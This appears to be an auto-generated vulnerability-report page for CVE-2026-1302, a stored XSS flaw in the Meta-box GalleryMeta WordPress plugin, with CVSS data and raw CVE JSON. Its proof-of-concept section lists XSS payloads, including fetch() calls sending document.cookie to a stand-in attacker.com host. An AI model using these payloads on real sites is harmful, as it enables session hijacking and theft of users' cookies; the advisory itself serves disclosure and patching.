Security Vulnerability Report
中文
CVE-2026-1302 CVSS 4.4 MEDIUM

CVE-2026-1302

Published: 2026-01-24 09:15:55
Last Modified: 2026-04-15 00:35:42

Description

The Meta-box GalleryMeta plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Meta-box GalleryMeta plugin for WordPress <= 3.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-1302 PoC: Stored XSS in Meta-box GalleryMeta Plugin --> <!-- This PoC demonstrates the stored XSS vulnerability in WordPress Meta-box GalleryMeta plugin --> <!-- Requirements: Editor-level or higher privileges --> <!-- Step 1: Login to WordPress admin panel with editor+ privileges --> <!-- Step 2: Navigate to Meta-box Gallery settings page --> <!-- Step 3: Inject XSS payload in any settings field --> <!-- XSS Payload Examples: --> <script>alert('XSS Vulnerability - CVE-2026-1302')</script> <!-- Cookie stealing payload --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Session hijacking payload --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Stored XSS in gallery settings --> <svg/onload=alert(document.domain)>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1302", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:54.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Meta-box GalleryMeta plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Meta-box GalleryMeta para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración de administración en todas las versiones hasta la 3.0.1, inclusive, debido a una sanitización de entrada insuficiente y un escape de salida inadecuado. Esto permite que atacantes autenticados, con permisos de nivel de editor y superiores, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio e instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/meta-box-gallerymeta/tags/3.0.1/gallerymetaboxes.php#L119", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/meta-box-gallerymeta/tags/3.0.1/gallerymetaboxes.php#L314", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/meta-box-gallerymeta/tags/3.0.1/templates/single-mb_gallery.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/meta-box-gallerymeta/tags/3.0.1/templates/single-mb_gallery.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3446962/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bb9ae252-7e5f-4dc0-a162-100493b81980?source=cve", "source": "[email protected]"}]}}